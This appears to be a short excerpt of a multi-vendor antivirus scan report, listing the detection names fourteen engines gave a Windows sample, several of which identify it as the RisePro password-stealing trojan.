Kingsoft Win32.HeurC.KVMH008.a
Microsoft Trojan:Win32/Sabsik.TE.B!ml
ZoneAlarm VHO:Trojan-PSW.Win32.RisePro.awm
GData Win32.Trojan.PSE.AA1G04
Varist W32/RisePro.A.gen!Eldorado
AhnLab-V3 Malware/Win.Generic.R632639
BitDefenderTheta Gen:NN.ZexaF.36680.jHW@aKG4ybfk
DeepInstinct MALICIOUS
VBA32 BScope.Trojan.Bitrep
Malwarebytes Generic.Malware.AI.DDS
Panda Trj/Genetic.gen
Zoner Probably Heur.ExeHeaderL
SentinelOne Static AI - Malicious PE
AVG WAT:Blacked-E